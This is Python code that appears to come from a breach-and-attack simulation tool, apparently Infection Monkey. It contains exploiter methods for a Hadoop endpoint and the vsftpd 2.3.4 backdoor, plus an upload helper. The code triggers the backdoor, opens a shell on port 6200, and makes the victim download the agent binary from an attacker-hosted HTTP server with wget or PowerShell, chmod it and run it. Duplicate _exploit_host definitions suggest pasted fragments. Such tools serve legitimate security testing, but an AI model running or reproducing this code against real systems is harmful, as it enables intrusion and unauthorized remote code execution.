def upload_monkey(self, url, commands=None):
"""
:param url: Where exploiter should send it's request
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters.
:return: {'response': response/False, 'path': monkeys_path_in_host}
"""
LOG.info("Trying to upload monkey to the host.")
if not self.host.os['type']:
LOG.error("Unknown target's os type. Skipping.")
return False
paths = self.get_monkey_paths()
if not paths:
return False
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, paths['src_path'])
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
# Choose command:
if not commands:
commands = {
'windows': POWERSHELL_HTTP_UPLOAD,
'linux': WGET_HTTP_UPLOAD
}
command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command)
self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths['dest_path'],
http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Uploading process finished")
# If response is false exploiter failed
if resp is False:
return resp
else:
return {'response': resp, 'path': paths['dest_path']}
def _exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls(self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return False
# We presume hadoop works only on 64-bit machines
if self.host.os['type'] == 'windows':
self.host.os['machine'] = '64'
paths = self.get_monkey_paths()
if not paths:
return False
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, paths['src_path'])
command = self.build_command(paths['dest_path'], http_path)
if not self.exploit(self.vulnerable_urls[0], command):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
self.add_executed_cmd(command)
return True
def _exploit_host(self):
LOG.info("Attempting to trigger the Backdoor..")
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
ftp_socket.recv(RECV_128).decode('utf-8')
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
time.sleep(FTP_TIME_BUFFER)
self.socket_send(ftp_socket, PASSWORD + '\n')
ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands')
else:
LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
return False
LOG.info('Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(backdoor_socket, self.host.ip_addr,
BACKDOOR_PORT):
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
uname_m = str.encode(UNAME_M + '\n')
response = self.socket_send_recv(backdoor_socket, uname_m)
if response:
LOG.info('Response for uname -m: %s', response)
if '' != response.lower().strip():
# command execution is successful
self.host.os['machine'] = response.lower().strip()
self.host.os['type'] = 'linux'
else:
LOG.info("Failed to execute command uname -m on victim %r ",
self.host)
src_path = get_target_monkey(self.host)
LOG.info("src for suitable monkey executable for host %r is %s",
self.host, src_path)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r",
self.host)
return False
# Create a http server to host the monkey
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, src_path)
dropper_target_path_linux = self._config.dropper_target_path_linux
LOG.info("Download link for monkey is %s", http_path)
# Upload the monkey to the machine
monkey_path = dropper_target_path_linux
download_command = WGET_HTTP_UPLOAD % {
'monkey_path': monkey_path,
'http_path': http_path
}
download_command = str.encode(str(download_command) + '\n')
LOG.info("Download command is %s", download_command)
if self.socket_send(backdoor_socket, download_command):
LOG.info('Monkey is now Downloaded ')
else:
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
return False
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
# Change permissions
change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
T1222Telem(ScanStatus.USED, change_permission, self.host).send()
# Run monkey on the machine
parameters = build_monkey_commandline(self.host,
get_monkey_depth() - 1)
run_monkey = RUN_MONKEY % {
'monkey_path': monkey_path,
'monkey_type': MONKEY_ARG,
'parameters': parameters
}
# Set unlimited to memory
# we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
run_monkey = str.encode(str(run_monkey) + '\n')
time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, self.host,
run_monkey)
self.add_executed_cmd(run_monkey)
return True
else:
return False